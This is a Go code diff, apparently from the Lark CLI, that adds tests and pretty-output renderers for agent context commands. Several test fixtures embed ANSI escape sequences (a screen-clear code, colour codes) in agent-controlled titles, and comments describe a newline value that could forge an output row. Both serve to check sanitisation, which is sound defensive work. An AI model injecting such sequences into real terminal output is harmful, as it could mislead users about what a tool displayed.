+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	data, _ := env.Data.(map[string]interface{})
+	contexts, ok := data["contexts"].([]interface{})
+	if !ok || len(contexts) != 2 {
+		t.Fatalf("data.contexts should have 2 entries, got %v", data["contexts"])
+	}
+	if env.Meta == nil || env.Meta.Count != 2 {
+		t.Errorf("meta.count should be 2, got %+v", env.Meta)
+	}
+}
+
+// TestContextListSortedByUpdatedAtDesc pins the ordering + enriched-field
+// contract: the provider returns contexts in most-recent-first order (its
+// contract), and the command emits them verbatim while carrying the updated_at /
+// awaiting_input rollup for each (task_count is a `context get` field, never a
+// list one).
+func TestContextListSortedByUpdatedAtDesc(t *testing.T) {
+	opts, _ := contextTestOpts(t, "list")
+	setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
+		return []iagents.ContextSummary{
+			{ContextID: "new", UpdatedAt: "2026-07-05T12:00:00Z", AwaitingInput: true},
+			{ContextID: "mid", UpdatedAt: "2026-07-05T11:00:00Z"},
+			{ContextID: "old", UpdatedAt: "2026-07-05T10:00:00Z"},
+		}, iagents.PageInfo{}, nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentContextListRun(opts); err != nil {
+		t.Fatalf("context list should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	data, _ := env.Data.(map[string]interface{})
+	contexts, ok := data["contexts"].([]interface{})
+	if !ok || len(contexts) != 3 {
+		t.Fatalf("data.contexts should have 3 entries, got %v", data["contexts"])
+	}
+	want := []string{"new", "mid", "old"}
+	for i, w := range want {
+		c, _ := contexts[i].(map[string]interface{})
+		if c["context_id"] != w {
+			t.Errorf("contexts[%d].context_id should be %q (newest-first), got %v", i, w, c["context_id"])
+		}
+	}
+	first, _ := contexts[0].(map[string]interface{})
+	if first["updated_at"] != "2026-07-05T12:00:00Z" {
+		t.Errorf("contexts[0].updated_at should be carried, got %v", first["updated_at"])
+	}
+	if _, ok := first["task_count"]; ok {
+		t.Errorf("context list entries must not carry task_count, got %v", first["task_count"])
+	}
+	if first["awaiting_input"] != true {
+		t.Errorf("contexts[0].awaiting_input should be true, got %v", first["awaiting_input"])
+	}
+}
+
+// TestContextListPaginationMeta pins the command-level pagination envelope for
+// context list: a provider that returns a page plus PageInfo{HasMore,NextToken}
+// surfaces as meta.has_more / meta.page_token, and meta.next carries a "下一页"
+// action whose command replays the ref with --page-size / --page-token.
+func TestContextListPaginationMeta(t *testing.T) {
+	opts, _ := contextTestOpts(t, "list")
+	opts.PageSize = 2
+	setScripted(t, scriptedHooks{listContexts: func(page iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
+		if page.Size != 2 {
+			t.Errorf("the hook should receive the requested page size 2, got %d", page.Size)
+		}
+		return []iagents.ContextSummary{
+				{ContextID: "sess_1", UpdatedAt: "2026-07-05T12:00:00Z"},
+				{ContextID: "sess_2", UpdatedAt: "2026-07-05T11:00:00Z"},
+			},
+			iagents.PageInfo{NextToken: "2", HasMore: true}, nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentContextListRun(opts); err != nil {
+		t.Fatalf("paged context list should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	if env.Meta == nil {
+		t.Fatal("a paged list should carry meta")
+	}
+	if !env.Meta.HasMore {
+		t.Error("meta.has_more should be true")
+	}
+	if env.Meta.PageToken != "2" {
+		t.Errorf("meta.page_token should be the next cursor \"2\", got %q", env.Meta.PageToken)
+	}
+	found := false
+	for _, n := range env.Meta.Next {
+		if n.Label == "下一页" && strings.Contains(n.Command, "lark-cli agents context list fakeflow:agt_x") &&
+			strings.Contains(n.Command, "--page-size 2") && strings.Contains(n.Command, "--page-token 2") {
+			found = true
+		}
+	}
+	if !found {
+		t.Errorf("meta.next should contain a 下一页 action replaying the ref + --page-size/--page-token, got %+v", env.Meta.Next)
+	}
+}
+
+// TestContextListError surfaces a provider ListContexts failure.
+func TestContextListError(t *testing.T) {
+	opts, _ := contextTestOpts(t, "list")
+	setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
+		return nil, iagents.PageInfo{}, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
+	}})
+	if err := agentContextListRun(opts); err == nil {
+		t.Fatal("a ListContexts error should propagate")
+	}
+}
+
+// TestContextListInvalidRef surfaces a malformed ref as a validation error.
+func TestContextListInvalidRef(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	err := agentContextListRun(&contextOptions{Ref: "no-colon", Cmd: contextCmdCtx(t, "list"), As: "bot", Factory: f})
+	if err == nil {
+		t.Fatal("malformed ref should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T", err)
+	}
+}
+
+// TestContextGetEmitsDetail pins the enriched `context get` shape: metadata +
+// the task_count / awaiting_input rollup + a single active_task — and NO longer
+// a full tasks[] array (that moved to `agents task list --context-id`). The
+// active task's is_terminal is derived from State (input_required ⇒ false).
+func TestContextGetEmitsDetail(t *testing.T) {
+	opts, _ := contextTestOpts(t, "get")
+	opts.CtxID = "sess_1"
+	setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagents.ContextDetail, error) {
+		return &iagents.ContextDetail{
+			ContextID: ctxID, Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00",
+			UpdatedAt: "2026-07-05T12:00:00+08:00", TaskCount: iagents.Int(2), AwaitingInput: true,
+			ActiveTask: &iagents.TaskSummary{
+				TaskID: "chat_2", State: iagents.StateInputRequired,
+				UpdatedAt: "2026-07-05T12:00:00+08:00", Summary: "请提供季度",
+			},
+		}, nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentContextGetRun(opts); err != nil {
+		t.Fatalf("context get should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	data, _ := env.Data.(map[string]interface{})
+	if data["context_id"] != "sess_1" {
+		t.Errorf("data.context_id should be sess_1, got %v", data["context_id"])
+	}
+	if data["title"] != "销售分析" {
+		t.Errorf("data.title should be echoed, got %v", data["title"])
+	}
+	if data["task_count"] != float64(2) {
+		t.Errorf("data.task_count should be 2, got %v", data["task_count"])
+	}
+	if data["awaiting_input"] != true {
+		t.Errorf("data.awaiting_input should be true, got %v", data["awaiting_input"])
+	}
+	if _, hasTasks := data["tasks"]; hasTasks {
+		t.Errorf("context get should no longer embed a tasks[] array, got %v", data["tasks"])
+	}
+	active, ok := data["active_task"].(map[string]interface{})
+	if !ok {
+		t.Fatalf("data.active_task should be present, got %v", data["active_task"])
+	}
+	if active["task_id"] != "chat_2" {
+		t.Errorf("active_task.task_id should be chat_2, got %v", active["task_id"])
+	}
+	if active["is_terminal"] != false {
+		t.Errorf("active_task.is_terminal should be derived from State (input_required ⇒ false), got %v", active["is_terminal"])
+	}
+	if active["summary"] != "请提供季度" {
+		t.Errorf("active_task.summary should carry the pending prompt, got %v", active["summary"])
+	}
+}
+
+// TestContextGetError surfaces a provider GetContext failure.
+func TestContextGetError(t *testing.T) {
+	opts, _ := contextTestOpts(t, "get")
+	opts.CtxID = "sess_1"
+	setScripted(t, scriptedHooks{getContext: func(string) (*iagents.ContextDetail, error) {
+		return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
+	}})
+	if err := agentContextGetRun(opts); err == nil {
+		t.Fatal("a GetContext error should propagate")
+	}
+}
+
+// TestContextGetInvalidRef surfaces a malformed ref as a validation error.
+func TestContextGetInvalidRef(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	err := agentContextGetRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Cmd: contextCmdCtx(t, "get"), As: "bot", Factory: f})
+	if err == nil {
+		t.Fatal("malformed ref should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T", err)
+	}
+}
+
+// TestContextListWithJq pins the --jq output branch for list: the filtered
+// value (not the full envelope) is what reaches stdout.
+func TestContextListWithJq(t *testing.T) {
+	opts, _ := contextTestOpts(t, "list")
+	opts.Cmd.Flags().String("jq", ".data.contexts | length", "")
+	setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
+		return []iagents.ContextSummary{{ContextID: "sess_1"}}, iagents.PageInfo{}, nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+	if err := agentContextListRun(opts); err != nil {
+		t.Fatalf("context list --jq should not error: %v", err)
+	}
+	got := strings.TrimSpace(string(out.Bytes()))
+	if got != "1" {
+		t.Errorf("--jq .data.contexts | length should output 1, got %q", got)
+	}
+	if strings.Contains(got, `"ok"`) {
+		t.Errorf("--jq output should be the filtered value, not the full envelope, got %q", got)
+	}
+}
+
+// TestContextListEmptyEmitsArray pins the array convention: an empty context
+// list serializes as [] (never null), matching Card.Parameters.
+func TestContextListEmptyEmitsArray(t *testing.T) {
+	opts, _ := contextTestOpts(t, "list")
+	setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
+		return nil, iagents.PageInfo{}, nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+	if err := agentContextListRun(opts); err != nil {
+		t.Fatalf("context list should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	data, _ := env.Data.(map[string]interface{})
+	v, present := data["contexts"]
+	if !present {
+		t.Fatal("data.contexts key should be present")
+	}
+	if _, ok := v.([]interface{}); !ok {
+		t.Errorf("empty context list should emit a JSON array (not null), got %T: %v", v, v)
+	}
+	if env.Meta != nil {
+		t.Errorf("empty list should omit meta entirely (no ambiguous {} shape), got %+v", env.Meta)
+	}
+}
+
+// TestContextListPretty exercises the --format pretty human-view branch for
+// list: header TSV rows (not a JSON envelope), with the agent-controlled Title
+// stripped of ANSI escapes.
+func TestContextListPretty(t *testing.T) {
+	opts, _ := contextTestOpts(t, "list")
+	opts.Format = "pretty"
+	setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
+		return []iagents.ContextSummary{
+			{ContextID: "sess_1", Title: "\x1b[2J销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
+		}, iagents.PageInfo{}, nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+	if err := agentContextListRun(opts); err != nil {
+		t.Fatalf("context list --format pretty should not error: %v", err)
+	}
+	s := string(out.Bytes())
+	if !strings.HasPrefix(s, "CONTEXT_ID\tCREATED_AT\tUPDATED_AT\tTITLE\tAWAITING_INPUT\n") {
+		t.Errorf("pretty output should start with a header row, got %q", s)
+	}
+	if !strings.Contains(s, "sess_1") || !strings.Contains(s, "销售分析") {
+		t.Errorf("pretty output should contain context_id and title, got %q", s)
+	}
+	if strings.Contains(s, "\x1b") {
+		t.Errorf("ANSI sequences in Title must be stripped: %q", s)
+	}
+	if strings.Contains(s, `"ok"`) {
+		t.Errorf("pretty output should be a human view, not a JSON envelope, got %q", s)
+	}
+}
+
+// TestContextGetWithJq pins the added --jq flag on context get: the envelope is
+// filtered through the jq expression.
+func TestContextGetWithJq(t *testing.T) {
+	opts, _ := contextTestOpts(t, "get")
+	opts.CtxID = "sess_1"
+	opts.Cmd.Flags().String("jq", "", "")
+	if err := opts.Cmd.Flags().Set("jq", ".data.context_id"); err != nil {
+		t.Fatal(err)
+	}
+	setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagents.ContextDetail, error) {
+		return &iagents.ContextDetail{ContextID: ctxID}, nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+	if err := agentContextGetRun(opts); err != nil {
+		t.Fatalf("context get --jq should not error: %v", err)
+	}
+	got := strings.TrimSpace(string(out.Bytes()))
+	if !strings.Contains(got, "sess_1") || strings.Contains(got, `"ok"`) {
+		t.Errorf("--jq .data.context_id should output only the filtered result, got %q", got)
+	}
+}
+
+// TestContextGetPretty pins the --format pretty branch on context get: key:
+// value lines with the task_count / awaiting_input rollup + a one-line
+// active_task digest, title ANSI-stripped, and no full tasks[] list.
+func TestContextGetPretty(t *testing.T) {
+	opts, _ := contextTestOpts(t, "get")
+	opts.CtxID = "sess_1"
+	opts.Format = "pretty"
+	setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagents.ContextDetail, error) {
+		return &iagents.ContextDetail{
+			ContextID: ctxID, Title: "\x1b[31m销售分析\x1b[0m",
+			TaskCount: iagents.Int(1), AwaitingInput: false,
+			ActiveTask: &iagents.TaskSummary{
+				TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true, Summary: "分析完成",
+			},
+		}, nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+	if err := agentContextGetRun(opts); err != nil {
+		t.Fatalf("context get --format pretty should not error: %v", err)
+	}
+	s := string(out.Bytes())
+	for _, want := range []string{"context_id: sess_1", "title: 销售分析", "task_count: 1", "active_task: completed"} {
+		if !strings.Contains(s, want) {
+			t.Errorf("pretty output should contain %q, got %q", want, s)
+		}
+	}
+	if strings.Contains(s, "\x1b") {
+		t.Errorf("ANSI sequences in title must be stripped: %q", s)
+	}
+	if strings.Contains(s, "tasks:") {
+		t.Errorf("context get pretty should no longer render a tasks[] list, got %q", s)
+	}
+}
+
+// findSub returns the direct subcommand of cmd whose Name() == name, or nil.
+func findSub(cmd *cobra.Command, name string) *cobra.Command {
+	for _, c := range cmd.Commands() {
+		if c.Name() == name {
+			return c
+		}
+	}
+	return nil
+}
+
+// TestNewCmdAgentContext_GroupHasSubcommands pins the group is a pure group (no
+// RunE) with list/get/delete leaves.
+func TestNewCmdAgentContext_GroupHasSubcommands(t *testing.T) {
+	cmd := NewCmdAgentContext(nil)
+	if cmd.RunE != nil || cmd.Run != nil {
+		t.Error("agents context group should not have RunE")
+	}
+	want := []string{"list", "get", "delete"}
+	for _, name := range want {
+		if findSub(cmd, name) == nil {
+			t.Errorf("missing subcommand context %s", name)
+		}
+	}
+}
+
+// TestNewCmdAgentContextList_ReadRisk pins list = read risk, ExactArgs(1), and
+// the default flip: --format defaults to json.
+func TestNewCmdAgentContextList_ReadRisk(t *testing.T) {
+	cmd := NewCmdAgentContextList(nil)
+	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
+		t.Errorf("context list should be marked read risk, got level=%q ok=%v", level, ok)
+	}
+	if err := cmd.Args(cmd, []string{}); err == nil {
+		t.Error("context list missing ref should report an argument error (ExactArgs 1)")
+	}
+	if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
+		t.Errorf("context list with a single ref should be valid: %v", err)
+	}
+	fl := cmd.Flags().Lookup("format")
+	if fl == nil || fl.DefValue != "json" {
+		t.Errorf("context list --format default should flip to json, got %+v", fl)
+	}
+}
+
+// TestNewCmdAgentContextGet_ReadRisk pins get = read risk, ExactArgs(2), and
+// the added --format / --jq flags.
+func TestNewCmdAgentContextGet_ReadRisk(t *testing.T) {
+	cmd := NewCmdAgentContextGet(nil)
+	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
+		t.Errorf("context get should be marked read risk, got level=%q ok=%v", level, ok)
+	}
+	if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
+		t.Error("context get missing ctx-id should report an argument error (ExactArgs 2)")
+	}
+	if err := cmd.Args(cmd, []string{"example:x", "c1"}); err != nil {
+		t.Errorf("context get ref+ctx-id should be valid: %v", err)
+	}
+	for _, name := range []string{"format", "jq"} {
+		if cmd.Flags().Lookup(name) == nil {
+			t.Errorf("context get should have a --%s flag", name)
+		}
+	}
+}
+
+// TestNewCmdAgentContextDelete_HighRiskWrite pins delete = high-risk-write risk,
+// ExactArgs(2), a --yes flag, and the added --format / --jq flags.
+func TestNewCmdAgentContextDelete_HighRiskWrite(t *testing.T) {
+	cmd := NewCmdAgentContextDelete(nil)
+	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskHighRiskWrite {
+		t.Errorf("context delete should be marked high-risk-write risk, got level=%q ok=%v", level, ok)
+	}
+	if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
+		t.Error("context delete missing ctx-id should report an argument error (ExactArgs 2)")
+	}
+	if cmd.Flags().Lookup("yes") == nil {
+		t.Error("context delete should have a --yes flag")
+	}
+	for _, name := range []string{"format", "jq"} {
+		if cmd.Flags().Lookup(name) == nil {
+			t.Errorf("context delete should have a --%s flag", name)
+		}
+	}
+}

cmd/agents/format.go

@@ -0,0 +1,322 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+// This file holds the --format surface shared by every agent leaf: value
+// validation, the pretty renderers (task key:value view, list
+// header-TSV views) with ANSI stripping for agent-controlled text, and the
+// arg-count validators that wrap cobra's bare "accepts N arg(s)" into a typed
+// validation error carrying a 用法 hint.
+package agents
+
+import (
+	"fmt"
+	"io"
+	"strings"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/validate"
+)
+
+// formatFlagHelp is the uniform --format help text across every agent leaf
+// (json is the tree-wide default, pretty the human opt-in).
+const formatFlagHelp = "output format: json (default) | pretty"
+
+// validateFormat rejects any --format outside json|pretty as a
+// validation/invalid_argument error (exit 2). The empty string is accepted for
+// options structs built directly in tests; the registered flag default is
+// "json" so a CLI invocation never passes "".
+func validateFormat(format string) error {
+	switch format {
+	case "", "json", "pretty":
+		return nil
+	}
+	return errs.NewValidationError(errs.SubtypeInvalidArgument,
+		"不支持的 --format 值 %q", format).
+		WithParam("--format").
+		WithHint("合法值: json | pretty")
+}
+
+// stripANSI sanitizes agent-controlled text before it is written raw to a
+// terminal by a pretty renderer, preventing terminal escape-sequence injection.
+// It delegates to validate.SanitizeForTerminal, which is a superset of the
+// mandated CSI regex:
+// it also drops OSC sequences, bare ESC / C0 control bytes and dangerous
+// Unicode. JSON output paths must NOT use this — programmatic consumers get
+// the raw data.
+func stripANSI(s string) string {
+	return validate.SanitizeForTerminal(s)
+}
+
+// kvValue sanitizes an agent-controlled value for a single-line "key: value"
+// pretty row: ANSI-stripped, then \n/\t collapsed to single spaces —
+// SanitizeForTerminal deliberately preserves those, so without this a value
+// like "done\nstate: completed" would forge an adjacent field row. TSV
+// renderers keep plain stripANSI under their documented no-escape exemption.
+func kvValue(s string) string {
+	s = stripANSI(s)
+	s = strings.ReplaceAll(s, "\n", " ")
+	return strings.ReplaceAll(s, "\t", " ")
+}
+
+// truncateRunes caps s at max runes, appending an ellipsis when truncated.
+func truncateRunes(s string, max int) string {
+	r := []rune(s)
+	if len(r) <= max {
+		return s
+	}
+	return string(r[:max]) + "…"
+}
+
+// firstTextOf returns the first user-authored text Part carried by the task's
+// messages, or "". Some providers return output-only snapshots; treating their
+// first agent reply as the request would print the same content twice.
+func firstTextOf(task *iagents.AgentTask) string {
+	for _, m := range task.Messages {
+		if m.Role != "user" {
+			continue
+		}
+		for _, p := range m.Parts {
+			if p.Type == "text" && p.Text != "" {
+				return p.Text
+			}
+		}
+	}
+	return ""
+}
+
+// lastAgentTextOf returns the last agent-authored text Part — the task's
+// current RESULT line, the same word the task-list SUMMARY column uses. The
+// single-task pretty view must show the outcome, not just echo the request.
+func lastAgentTextOf(task *iagents.AgentTask) string {
+	for i := len(task.Messages) - 1; i >= 0; i-- {
+		if task.Messages[i].Role != "agent" {
+			continue
+		}
+		for j := len(task.Messages[i].Parts) - 1; j >= 0; j-- {
+			p := task.Messages[i].Parts[j]
+			if p.Type == "text" && p.Text != "" {
+				return p.Text
+			}
+		}
+	}
+	return ""
+}
+
+// printTaskPretty renders the task-class pretty view: line-per-field
+// key: value with state / task_id / context_id / first text message truncated
+// to 120 runes / artifacts count. Every agent-controlled string goes through
+// kvValue (ANSI strip + newline/tab neutralization) so it can neither inject
+// terminal sequences nor forge an adjacent field row.
+func printTaskPretty(w io.Writer, task *iagents.AgentTask) {
+	if task == nil {
+		fmt.Fprintln(w, "(no task)")
+		return
+	}
+	fmt.Fprintf(w, "state: %s\n", kvValue(string(task.State)))
+	fmt.Fprintf(w, "task_id: %s\n", kvValue(task.TaskID))
+	if task.ContextID != "" {
+		fmt.Fprintf(w, "context_id: %s\n", kvValue(task.ContextID))
+	}
+	if req := firstTextOf(task); req != "" {
+		fmt.Fprintf(w, "request: %s\n", truncateRunes(kvValue(req), 120))
+	}
+	if reply := lastAgentTextOf(task); reply != "" {
+		fmt.Fprintf(w, "reply: %s\n", truncateRunes(kvValue(reply), 120))
+	}
+	if count, kinds := dataPartsOf(task); count > 0 {
+		fmt.Fprintf(w, "data_parts: %d", count)
+		if len(kinds) > 0 {
+			fmt.Fprintf(w, " (%s)", kvValue(strings.Join(kinds, ", ")))
+		}
+		fmt.Fprintln(w)
+	}
+	fmt.Fprintf(w, "artifacts: %d\n", len(task.Artifacts))
+	for _, artifact := range task.Artifacts {
+		fmt.Fprintf(w, "  artifact %s: %s", kvValue(artifact.ID), kvValue(artifact.Kind))
+		if artifact.Name != "" {
+			fmt.Fprintf(w, " %s", kvValue(artifact.Name))
+		}
+		if artifact.Status != "" {
+			fmt.Fprintf(w, " [%s]", kvValue(artifact.Status))
+		}
+		fmt.Fprintln(w)
+	}
+	// input_required question group: group headline, then numbered questions
+	// with their answer form and options. Every field is agent-controlled, so
+	// all go through kvValue.
+	if ir := task.InputRequired; ir != nil {
+		head := ir.Label
+		if head != "" && ir.Description != "" {
+			head += " — " + ir.Description
+		} else if head == "" {
+			head = ir.Description
+		}
+		if head == "" && len(ir.Questions) == 1 {
+			// single untitled question: headline IS the question, no numbering.
+			q := ir.Questions[0]
+			fmt.Fprintf(w, "input_required: %s%s\n", truncateRunes(kvValue(q.Question), 120), questionKindSuffix(q))
+			printOptionsPretty(w, "  ", q.Options)
+			return
+		}
+		fmt.Fprintf(w, "input_required: %s\n", truncateRunes(kvValue(head), 120))
+		for i, q := range ir.Questions {
+			fmt.Fprintf(w, "  [%d] %s%s\n", i+1, truncateRunes(kvValue(q.Question), 120), questionKindSuffix(q))
+			printOptionsPretty(w, "      ", q.Options)
+		}
+	}
+}
+
+// questionKindSuffix annotates a question row with its answer form: free text
+// or multi-select (a plain single-select needs no annotation — options below it
+// say enough).
+func questionKindSuffix(q iagents.Question) string {
+	if len(q.Options) == 0 {
+		return "（自由文本）"
+	}
+	if q.MultiSelect {
+		return "（可多选）"
+	}
+	return ""
+}
+
+// printOptionsPretty renders one "id: label — description" row per option under
+// the given indent; every field is agent-controlled and goes through kvValue.
+func printOptionsPretty(w io.Writer, indent string, opts []iagents.Option) {
+	for _, o := range opts {
+		row := fmt.Sprintf("%s: %s", kvValue(o.OptionID), kvValue(o.Label))
+		if o.Description != "" {
+			row += " — " + kvValue(o.Description)
+		}
+		fmt.Fprintf(w, "%s%s\n", indent, row)
+	}
+}
+
+func dataPartsOf(task *iagents.AgentTask) (int, []string) {
+	count := 0
+	kinds := make([]string, 0)
+	seen := make(map[string]struct{})
+	for _, message := range task.Messages {
+		for _, part := range message.Parts {
+			if part.Type != "data" {
+				continue
+			}
+			count++
+			data, ok := part.Data.(map[string]interface{})
+			if !ok {
+				continue
+			}
+			kind, _ := data["kind"].(string)
+			if kind == "" {
+				continue
+			}
+			if _, ok := seen[kind]; ok {
+				continue
+			}
+			seen[kind] = struct{}{}
+			kinds = append(kinds, kind)
+		}
+	}
+	return count, kinds
+}
+
+// TSV renderers below intentionally do not escape tab/newline in cell values:
+// a value containing them breaks the column layout. The agent's primary
+// consumption surface is json; pretty is for human inspection only, so leaving
+// them unescaped is acceptable.
+
+// printTaskSummariesTSV renders the list-class pretty view for tasks: a header
+// row naming the json fields, then one row per task. Summary is agent-controlled
+// text, so it is ANSI-stripped AND newline/tab-flattened via kvValue — an
+// unflattened tab/newline would otherwise break the column layout; the ids keep
+// plain stripANSI under the TSV no-escape exemption.
+func printTaskSummariesTSV(w io.Writer, tasks []iagents.TaskSummary) {
+	fmt.Fprintf(w, "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL\tUPDATED_AT\tSUMMARY\n")
+	for _, t := range tasks {
+		fmt.Fprintf(w, "%s\t%s\t%s\t%t\t%s\t%s\n",
+			stripANSI(t.TaskID), stripANSI(t.ContextID), stripANSI(string(t.State)), t.IsTerminal, stripANSI(t.UpdatedAt), kvValue(t.Summary))
+	}
+}
+
+// printContextsTSV renders the list-class pretty view for contexts. The Title is
+// agent-controlled and ANSI-stripped; AwaitingInput is the conversation-layer
+// rollup used to spot which session needs attention.
+func printContextsTSV(w io.Writer, contexts []iagents.ContextSummary) {
+	fmt.Fprintf(w, "CONTEXT_ID\tCREATED_AT\tUPDATED_AT\tTITLE\tAWAITING_INPUT\n")
+	for _, c := range contexts {
+		fmt.Fprintf(w, "%s\t%s\t%s\t%s\t%t\n",
+			stripANSI(c.ContextID), stripANSI(c.CreatedAt), stripANSI(c.UpdatedAt), stripANSI(c.Title), c.AwaitingInput)
+	}
+}
+
+// printContextDetailPretty renders `context get --format pretty` as a
+// conversation overview: metadata + the task_count / awaiting_input rollup, and
+// — when present — a one-line digest of the active task
+// (state · updated_at · summary). It deliberately does NOT expand the full task
+// list (that is `agents task list --context-id`). Agent-controlled strings (Title
+// and the active-task Summary) go through kvValue so they cannot forge adjacent
+// field rows.
+func printContextDetailPretty(w io.Writer, detail *iagents.ContextDetail) {
+	if detail == nil {
+		fmt.Fprintln(w, "(no context)")
+		return
+	}
+	fmt.Fprintf(w, "context_id: %s\n", kvValue(detail.ContextID))
+	if detail.CreatedAt != "" {
+		fmt.Fprintf(w, "created_at: %s\n", kvValue(detail.CreatedAt))
+	}
+	if detail.UpdatedAt != "" {
+		fmt.Fprintf(w, "updated_at: %s\n", kvValue(detail.UpdatedAt))
+	}
+	if detail.Title != "" {
+		fmt.Fprintf(w, "title: %s\n", kvValue(detail.Title))
+	}
+	// nil TaskCount = the provider cannot supply the count; omit the line
+	// rather than printing a misleading 0.
+	if detail.TaskCount != nil {
+		fmt.Fprintf(w, "task_count: %d\n", *detail.TaskCount)
+	}
+	fmt.Fprintf(w, "awaiting_input: %t\n", detail.AwaitingInput)
+	if at := detail.ActiveTask; at != nil {
+		fmt.Fprintf(w, "active_task: %s · %s · %s\n", kvValue(string(at.State)), kvValue(at.UpdatedAt), kvValue(at.Summary))
+	}
+}
+
+// usageHintOf builds the "用法: <command path> <positional shape>" hint from
+// the executing command's Use line, so the hint never drifts from the
+// registered Use string.
+func usageHintOf(cmd *cobra.Command) string {
+	if _, shape, ok := strings.Cut(cmd.Use, " "); ok {
+		return fmt.Sprintf("用法: %s %s", cmd.CommandPath(), shape)
+	}
+	return "用法: " + cmd.CommandPath()
+}
+
+// exactArgsWithUsage is cobra.ExactArgs wrapped into a typed validation error
+// (exit 2) whose hint carries the full usage string — cobra's bare English
+// "accepts 2 arg(s), received 1" never says WHAT is missing.
+func exactArgsWithUsage(n int) cobra.PositionalArgs {
+	return func(cmd *cobra.Command, args []string) error {
+		if len(args) != n {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument,
+				"需要 %d 个位置参数，收到 %d 个", n, len(args)).
+				WithHint("%s", usageHintOf(cmd))
+		}
+		return nil
+	}
+}
+
+// maximumArgsWithUsage is the cobra.MaximumNArgs counterpart of
+// exactArgsWithUsage, for leaves with an optional positional (agents list).
+func maximumArgsWithUsage(n int) cobra.PositionalArgs {
+	return func(cmd *cobra.Command, args []string) error {
+		if len(args) > n {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument,
+				"最多接受 %d 个位置参数，收到 %d 个", n, len(args)).
+				WithHint("%s", usageHintOf(cmd))
+		}
+		return nil
+	}
+}

cmd/agents/format_test.go

@@ -0,0 +1,486 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"bytes"
+	"encoding/json"
+	"errors"
+	"strings"
+	"testing"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// TestPrintTaskPrettyRendersQuestionGroup pins that printTaskPretty surfaces an
+// input_required question group: group headline (label — description), numbered
+// questions with their answer-form annotation (自由文本 / 可多选), and
+// id: label — description option rows — with all agent-controlled fields
+// ANSI-stripped.
+func TestPrintTaskPrettyRendersQuestionGroup(t *testing.T) {
+	out := &bytes.Buffer{}
+	printTaskPretty(out, &iagents.AgentTask{
+		TaskID: "task_1", State: iagents.StateInputRequired,
+		InputRequired: &iagents.InputRequired{
+			Label:       "报表生成确认",
